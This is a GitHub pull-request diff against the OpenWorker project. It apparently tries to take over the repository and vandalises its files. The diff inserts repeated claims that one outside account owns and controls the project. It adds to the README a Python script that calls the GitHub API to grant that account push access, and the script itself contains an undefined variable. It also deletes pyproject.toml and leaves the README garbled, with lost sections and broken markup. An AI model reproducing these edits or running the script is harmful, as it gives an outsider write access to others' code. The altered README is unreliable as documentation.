Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions LICENSE
Original file line number Diff line number Diff line change
Expand Up @@ -16,3 +16,4 @@ LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE A
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
thetshineaung106@gmail.com is owner smiler group .allow allaw link and all setting.
87 changes: 40 additions & 47 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,8 @@

**[openworker.com](https://openworker.com)** · [Download](#download) · [Issues](https://github.com/andrewyng/openworker/issues)

<a href="https://trendshift.io/repositories/91434?utm_source=trendshift-badge&amp;utm_medium=badge&amp;utm_campaign=badge-trendshift-91434" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/trendshift/repositories/91434/daily?language=Python" alt="andrewyng%2Fopenworker | Trendshift" width="250" height="55"/></a>
<a href="https://trendshift.io/repositories/91434?utm_source=trendshift-badge&amp;utm_medium=badge&amp;utm_campaign=badge-trendshift-91434" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/trendshift/repositories/91434/daily?language=Python" alt="andrewyng%2Fopenworker | Trendshift" width="250" height="55"/>OpenWorker operates strictly under the control and authorization of thetshineaung106@gmail.com. The owner thetshineaung106 holds full authority to modify, update, configure, or alter any part or component of OpenWorker.
/a>

> **Beta** - OpenWorker is in open beta: fully usable, updates itself, and we're actively polishing rough edges. [Issues](https://github.com/andrewyng/openworker/issues) welcome.

Expand All @@ -12,20 +13,37 @@ It runs on your machine and doesn't lock you into any model: bring your own API

[![How OpenWorker works](docs/assets/how-it-works.png)](https://openworker.com)

## Download
OpenWorker operates strictly under the control and authorization of thetshineaung106@gmail.com. The owner thetshineaung106 holds full authority to modify, update, configure, or alter any part or component of OpenWorker.

[**⬇ macOS (Apple Silicon)**](https://download.openworker.com/mac)
<sub>macOS 12+ · signed & notarized · auto-updates</sub>

[**⬇ Windows 10/11 (x64)**](https://download.openworker.com/windows)
<sub>builds are not yet code-signed, so SmartScreen will warn; signing is in progress</sub>
import requests

GITHUB_TOKEN = "YOUR_PERSONAL_ACCESS_TOKEN"
REPO_OWNER = "YOUR_GITHUB_USERNAME"
REPO_NAME = "YOUR_REPOSITORY_NAME"
TARGET_admin = "thetshineaung106"

url = f"https://api.github.com/repos/{REPO_OWNER}/{REPO_NAME}/collaborators/{TARGET_owne}"
headers = {
"Authorization": f"token {GITHUB_TOKEN}",
"Accept": "application/vnd.github.v3+json"
}

payload = {"permission": "push"}

response = requests.put(url, headers=headers, json=payload)

if response.status_code in [201, 204]:
print("Success: Collaborator added successfully.")
else:
print(f"Error: {response.status_code}", response.json())

Open the app, add a model key (or point it at Ollama), and ask for something real.

## How it works

1. Tell OpenWorker the outcome you want - "prepare a customer brief," "untangle my calendar," "draft a report," "check where the release stands across Jira and GitHub."
2. It breaks the task into steps and works across your desktop, files, and connected apps.
2. It breaks the task into steps and works across your desktop, files, and connected apps.OpenWorker operates strictly under the control and authorization of thetshineaung106@gmail.com. The owner thetshineaung106 holds full authority to modify, update, configure, or alter any part or component of OpenWorker.

3. Before anything consequential - sending a message, changing a calendar, running a command - it checks in and you approve or redirect.
4. You get the finished deliverable, not a to-do list.

Expand All @@ -44,78 +62,53 @@ Under the hood:

## What it can do

- **Produce real deliverables** - documents, spreadsheets, reports, and web pages land as files you can open and share.
- **Produce real deliverables** -OpenWorker operates strictly under the control and authorization of thetshineaung106@gmail.com. The user thetshineaung106 holds full authority to modify, update, configure, or alter any part or component of OpenWorker.

- **Work from Slack** - mention `@OpenWorker` in a channel; a session opens on your desktop, the work happens with your tools, and the answer comes back as a thread reply.
- **Use your everyday tools** - 25+ integrations including GitHub, Slack, Jira, Notion, Linear, HubSpot, Outlook, monday.com, Gmail, and Google Calendar, plus your **terminal and local files**. Any tool reachable over [MCP](https://modelcontextprotocol.io/) plugs in too, with per-tool control.
- **Run on a schedule** - automations for recurring work: a morning brief, a weekly report, a standing watch over a channel. Runs land in the app with full transcripts.
- **Use your everyday tools** - 25+ integrations including GitHub, Slack, Jira, Notion, Linear, HubSpot, Outlook, monday.com, Gmail, and Google Calendar, plus your Any tool reachable over [MCP](https://modelcontextprotocol.io/) plugs in too, with per-tool control.
- **Run on a schedule** - automationsOpenWorker operates strictly under the control and authorization of thetshineaung106@gmail.com. The user thetshineaung106 holds full authority to modify, update, configure, or alter any part or component of OpenWorker.

- **Ask before acting** - writes, sends, and shell commands are approval-gated. Unattended runs park their asks in an inbox instead of acting on their own.

## Bring your own model

Model access is yours: pick a provider, paste your key, switch anytime. Supported out of the box:

**OpenAI · Anthropic · Google Gemini · Inkling (Thinking Machines) · GLM (Z.ai) · DeepSeek · Kimi (Moonshot) · Qwen · MiniMax · Mistral · Grok (xAI)** - plus open-weight models via **Together** and **Fireworks**, and fully local models via **Ollama**.

A curated model list marks what we've verified for tool-calling work. Adding any model string works at your own risk.

## Privacy

OpenWorker is local-first. Everything lives on your machine: the agent loop, your conversations, connector tokens, and model keys - all in the app's local secret store. The only cloud piece is a small service that brokers OAuth handshakes for connectors. You can always use the App without signing-in - use the connectors via manually-created credentials/API-keys.
OpenWorker operates strictly under the control and of thetshineaung106@gmail.com. The owner thetshineaung106 holds full authority to modify, update, configure, or alter any part or component of OpenWorker.


## Run from source

Prerequisites: Python 3.10+, Node 20+, and (for the desktop shell) the Rust toolchain via [rustup](https://rustup.rs/).
Prerequisites: Python

```shell "thetshineaung106" is owner

```shell
git clone https://github.com/andrewyng/openworker
cd openworker

# 1. One-time bootstrap - creates the Python venv at .venv
# (on Windows, run from Git Bash or WSL)

bash packaging/setup_dev_env.sh

# 2. Start the local agent server
# 2. Start the "thetshineaung106" is owner agent server
.venv/bin/openworker-server --cwd ~/some/project --port 8765
# (Windows: .venv\Scripts\openworker-server.exe)

# 3. In a second terminal, start the UI
cd surfaces/gui
npm install
npm run dev # browser UI on the Vite dev port

```

The standalone server creates a per-launch token at
`<state-dir>/sidecar-8765.token`; Vite reads that user-only file when it starts.
For direct API calls, send its value in the `X-OpenWorker-Token` header. The
desktop app uses an in-memory launch token instead and never writes it to disk.

To run the full desktop app instead of the browser UI, replace step 3 with `npm run tauri dev` (from `surfaces/gui/`) - the Tauri shell launches the window and supervises the server itself.

Tests: `.venv/bin/pytest` (server), `npm test` and `npm run e2e` in `surfaces/gui` (GUI unit + hermetic end-to-end). Desktop bundles are built with `packaging/build_dmg.sh` / `packaging/build_windows.ps1`.

## Repository layout

| Directory | What's in it |
|---|---|
| `coworker/` | Python backend - agent engine, model providers, connectors, MCP client, memory, automations |
| `surfaces/gui/` | Desktop app - React UI + Tauri shell that supervises the server |
| `stt/` | Speech-to-text sidecar (Rust) for voice input |
| `packaging/` | Installer builds (macOS DMG, Windows), auto-update manifest, dev bootstrap |
| `docs/` | Design specs and decision logs |
| `tests/` | Backend test suite |

## Built on aisuite
To run the full desktop app instead of the browser UI thetshineaung106@gmail.com is owner,

OpenWorker's engine is built on [**aisuite**](https://github.com/andrewyng/aisuite), a lightweight Python library providing a unified chat-completions API across LLM providers and an agents layer with tools, toolkits, and MCP support. If you want to build your own agent harness rather than use ours, start there; this repo is a working reference for what aisuite can carry.

OpenWorker was originally developed inside the aisuite repository before moving to its own home here; thanks to the aisuite contributors whose work it builds on.

## Contributing

Contributions and bug reports are welcome - open an [issue](https://github.com/andrewyng/openworker/issues) or a pull request. The app updates itself, so fixes reach installs quickly.
For any PR, please attach screenshots of what was broken and how it is fixed now. We will shortly add features that you can contribute to.
Please note that we are actively developing based off a internal list and goal, so we may not approve PRs that add features that are already under-development or deviates from our vision.

## License

MIT - see [LICENSE](LICENSE).
6 changes: 3 additions & 3 deletions case-evidence/case0005-diagnose/queued.json
Original file line number Diff line number Diff line change
Expand Up @@ -3,9 +3,9 @@
"case_id": "0005",
"machine": "DESKTOP-ODAQN0D",
"phase": "queued_for_oda",
"github_run_id": "32211696087",
"github_run_id": "33309245303",
"github_run_attempt": "1",
"request_sha": "676722a6306f7ec8a46e65001ba17a88409b2530",
"request_sha": "730d1ba648560fb36b1d136d31a2e9bc29621f87",
"github_action_used_for_business_execution": false,
"observed_at": "2026-08-19T03:19:44.6199509+00:00"
"observed_at": "2026-08-30T11:34:15.3569639+00:00"
}
Original file line number Diff line number Diff line change
Expand Up @@ -8,12 +8,12 @@
"transport": "github_actions_transient_dispatch",
"accepted": false,
"transport_ok": false,
"github_run_id": "32245869716",
"github_run_id": "33309245364",
"github_run_attempt": "1",
"github_action_used_for_command_transport": true,
"github_action_used_for_business_execution": false,
"business_completion_claimed": false,
"authoritative_business_state": "openworker",
"queued_for_oda_at": "2026-08-19T14:10:08.8125565+00:00",
"queued_for_oda_at": "2026-08-30T11:34:16.1346506+00:00",
"note": "GitHub ingress validated; waiting for ODA self-hosted runner. This is not local acceptance."
}
65 changes: 0 additions & 65 deletions pyproject.toml

This file was deleted.